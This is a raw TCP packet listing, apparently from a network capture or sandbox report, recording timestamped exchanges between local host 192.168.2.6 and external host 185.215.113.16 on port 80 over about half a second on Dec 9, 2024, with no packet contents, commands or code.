Dec 9, 2024 18:20:50.412790060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.412883997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.412975073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.413021088 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.415863037 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.415918112 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.415987968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.416033983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.420166016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.420238972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.420252085 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.420295954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.424326897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.424381971 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.424499035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.424549103 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.428989887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.429045916 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.429251909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.429295063 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.434168100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.434214115 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.434293032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.434416056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.438163996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.438211918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.438257933 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.438303947 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.442886114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.442936897 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.442997932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.443044901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.447501898 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.447554111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.447614908 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.447663069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.452172041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.452224016 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.452380896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.452428102 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.457007885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.457056999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.457130909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.457178116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.461946011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.461994886 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.462044954 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.462095022 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.466649055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.466667891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.466708899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.471142054 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.471196890 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.471338034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.471385002 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.475670099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.475723982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.475832939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.475883961 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.480025053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.480077028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.480334044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.480381966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.484663963 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.484720945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.484747887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.484796047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.489404917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.489454985 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.489628077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.489677906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.494472027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.494483948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.494522095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.498548031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.498600006 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.498668909 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.498718023 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.503388882 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.503416061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.503439903 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.503459930 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.507827997 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.507885933 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.507926941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.507972956 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.512470961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.512522936 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.604813099 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.604873896 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.604931116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.605284929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.606775045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.606827021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.606867075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.606909990 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.610820055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.610871077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.610985041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.611032963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.613991022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.614038944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.614039898 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.614085913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.617650032 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.617717028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.617736101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.617779970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.621259928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.621313095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.621402025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.621452093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.624587059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.624639034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.624682903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.624733925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.628025055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.628076077 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.628165960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.628213882 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.631445885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.631500959 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.631561041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.631612062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.634737015 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.634799957 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.634824038 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.634866953 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.637906075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.637960911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.637998104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.638046026 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.641226053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.641284943 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.641334057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.644336939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.644388914 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.644449949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.644498110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.647701979 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.647726059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.647751093 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.647777081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.650655985 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.650710106 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.650806904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.650855064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.654078007 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.654129028 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.654177904 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.654225111 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.657092094 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.657128096 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.657202005 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.660268068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.660331964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.660403013 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.663722992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.663738966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.663811922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.666651964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.666723013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.666774035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.669868946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.669924974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.669991970 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.673036098 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.673099041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.673152924 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.673203945 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.676270962 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.676456928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.676513910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.679713964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.679729939 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.679780960 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.682720900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.682787895 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.682838917 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.685885906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.685939074 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.685978889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.686026096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.689141035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.689192057 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.689218998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.689297915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.692184925 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.692229986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.692358971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.692406893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.695795059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.695808887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.695848942 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.698668957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.698719978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.698781013 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.698822975 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.701771975 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.701819897 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.701826096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.701863050 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.798723936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.798819065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.798866034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.798881054 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.799984932 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.800044060 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.800111055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.800163031 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.802453041 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.802500963 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.802619934 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.802665949 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.805011034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.805066109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.805124044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.805167913 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.807590961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.807610989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.807641983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.807651043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.809796095 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.809845924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.809947014 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.809993982 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.812117100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.812165976 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.812222958 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.812268972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.814619064 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.814668894 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.814702988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.814747095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.816937923 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.816952944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.816989899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.817003965 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.819006920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.819056034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.819102049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.819149017 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.821295023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.821346045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.821499109 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.821546078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.823576927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.823590994 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.823626041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.823642015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.825941086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.825985909 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.826035023 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.826080084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.827817917 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.827869892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.827940941 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.827989101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.829972029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.830025911 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.830136061 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.830184937 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.832279921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.832329035 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.832353115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.832396030 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.834495068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.834547043 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.834556103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.834595919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.836321115 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.836371899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.836452961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.836503983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.838479996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.838530064 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.838582039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.838623047 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.840615034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.840661049 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.840733051 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.840780020 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.842732906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.842782021 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.842840910 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.842886925 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.844873905 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.844929934 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.845010996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.845058918 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.846981049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.847031116 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.847115993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.847173929 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.849174976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.849225044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.849272966 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.849334955 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.851265907 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.851330996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.851381063 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.851429939 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.853430986 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.853483915 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.853530884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.853579998 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.855520964 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.855580091 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.855650902 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.855698109 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.857676029 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.857728004 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.857808113 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.857858896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.859797001 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.859847069 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.859903097 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.859947920 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.861946106 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.862001896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.862072945 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.862117052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.864083052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.864131927 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.864243031 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.864289045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.866445065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.866493940 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.866569996 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.866616964 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.868513107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.868561983 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.868660927 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.868710041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.870661974 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.870712042 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.870871067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.870917082 CET	49828	80	192.168.2.6	185.215.113.16
Dec 9, 2024 18:20:50.872611046 CET	80	49828	185.215.113.16	192.168.2.6
Dec 9, 2024 18:20:50.872661114 CET	49828	80	192.168.2.6	185.215.113.16
